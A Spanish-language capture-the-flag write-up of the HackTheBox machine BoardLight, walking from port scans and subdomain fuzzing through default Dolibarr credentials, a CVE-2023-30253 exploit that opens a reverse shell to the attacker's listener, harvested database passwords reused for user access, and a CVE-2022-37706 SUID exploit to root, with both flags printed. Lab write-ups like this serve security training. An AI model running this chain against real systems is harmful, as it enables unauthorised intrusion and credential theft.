BoardLight es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina BoardLight 10.10.11.1 a /etc/hosts como boardlight.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS --open --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.10.11.11 Nmap scan report for 10.10.11.11 Host is up, received echo-reply ttl 63 (0.047s latency). Scanned at 2024-06-21 23:01:14 CEST for 0s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Jun 21 23:01:14 2024 -- 1 IP address (1 host up) scanned in 0.53 seconds |
Detectados los puertos abiertos analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.11 Nmap scan report for 10.10.11.11 Host is up (0.048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 21 23:01:35 2024 -- 1 IP address (1 host up) scanned in 9.03 seconds |
Enumeración
Accedemos al portal web del puerto 80 y vemos la siguiente página

En la misma vemos una dirección de correo bajo el dominio board.htb así que lo añadimos al fichero hosts y continuamos revisando la página.
No parece haber gran cosa por aquí así que enumeramos subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ffuf -u http://board.htb/ -w /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.board.htb" -t 100 -fs 15949 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://board.htb/ :: Wordlist : FUZZ: /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.board.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 15949 ________________________________________________ crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 257ms] :: Progress: [4989/4989] :: Job [1/1] :: 1144 req/sec :: Duration: [0:00:05] :: Errors: 0 :: |
Añadimos el dominio al fichero hosts y accederemos al portal web donde veremos un panel de login de la app Dolibarr

Probamos con credenciales por defecto y accedemos al dashboard con las claves admin:admin

Ya que vimos en el panel de login que la versión era la 17.0.0 nos vamos a buscar a google y encontramos un exploit de inyección de código php bajo el cve CVE-2023-30253
Por lo que lo descargamos y ejecutamos
|
1 2 3 4 5 6 7 |
$ python3 exploit.py http://crm.board.htb admin admin 10.10.14.2 4444 [*] Trying authentication... [**] Login: admin [**] Password: admin [*] Trying created site... [*] Trying created page... [*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection |
y obtendremos una shell con el usuario www-data
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.11.11] 39012 bash: cannot set terminal process group (924): Inappropriate ioctl for device bash: no job control in this shell www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ |
revisamos los ficheros de configuración de la aplicación y encontramos unas credenciales de la ddbb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -l ls -l total 44 -rw-r--r-- 1 www-data www-data 1736 May 17 00:18 conf.php -rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example -r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php|grep main_db_ <m.board.htb/htdocs/conf$ cat conf.php|grep main_db_ $dolibarr_main_db_host='localhost'; $dolibarr_main_db_port='3306'; $dolibarr_main_db_name='dolibarr'; $dolibarr_main_db_prefix='llx_'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!'; $dolibarr_main_db_type='mysqli'; $dolibarr_main_db_character_set='utf8'; $dolibarr_main_db_collation='utf8_unicode_ci'; |
con las cuales escalamos al usuario larissa
|
1 2 3 4 5 |
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ su - larissa su - larissa Password: serverfun2$2023!! id uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm) |
Obteniendo la flag de user
Y en la home del usuario tenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
ls -l total 36 drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Desktop drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Documents drwxr-xr-x 3 larissa larissa 4096 May 17 01:04 Downloads drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Music drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Pictures drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Public drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Templates -rw-r----- 1 root larissa 33 Jun 20 17:23 user.txt drwxr-xr-x 2 larissa larissa 4096 May 17 01:04 Videos cat user.txt eaca3f7a54a4dae7d201de3e94dfce6c |
Escalado de privilegios
Accedemos por ssh para disponer de una shell en condiciones y encontramos la versión de enlightenment gracias a linpeas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
larissa@boardlight:/$ enlightenment --version ESTART: 0.00049 [0.00049] - Begin Startup ESTART: 0.00118 [0.00068] - Signal Trap ESTART: 0.00120 [0.00003] - Signal Trap Done ESTART: 0.00208 [0.00088] - Eina Init ESTART: 0.00502 [0.00294] - Eina Init Done ESTART: 0.00505 [0.00003] - Determine Prefix ESTART: 0.00655 [0.00150] - Determine Prefix Done ESTART: 0.00657 [0.00003] - Environment Variables ESTART: 0.00659 [0.00002] - Environment Variables Done ESTART: 0.00661 [0.00001] - Parse Arguments Version: 0.23.1 E: Begin Shutdown Procedure! |
herramienta que dispone de un exploit de 0day bajo el cve CVE-2022-37706
Así que lo subimos al servidor y escalamos a root
|
1 2 3 4 5 6 7 8 9 10 11 |
larissa@boardlight:~$ chmod +x CVE-2022-37706-LPE-exploit.sh larissa@boardlight:~$ ./CVE-2022-37706-LPE-exploit.sh CVE-2022-37706 [*] Trying to find the vulnerable SUID file... [*] This may take few seconds... [+] Vulnerable SUID binary found! [+] Trying to pop a root shell! [+] Enjoy the root shell :) mount: /dev/../tmp/: can't find in /etc/fstab. # id uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa) |
Obteniendo la flag de root
Como paso final cogemos la flag
|
1 2 3 4 |
# cd /root # cat /root/root.txt 4ae553ce738f851e6b80cfdbc7b52f7e # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










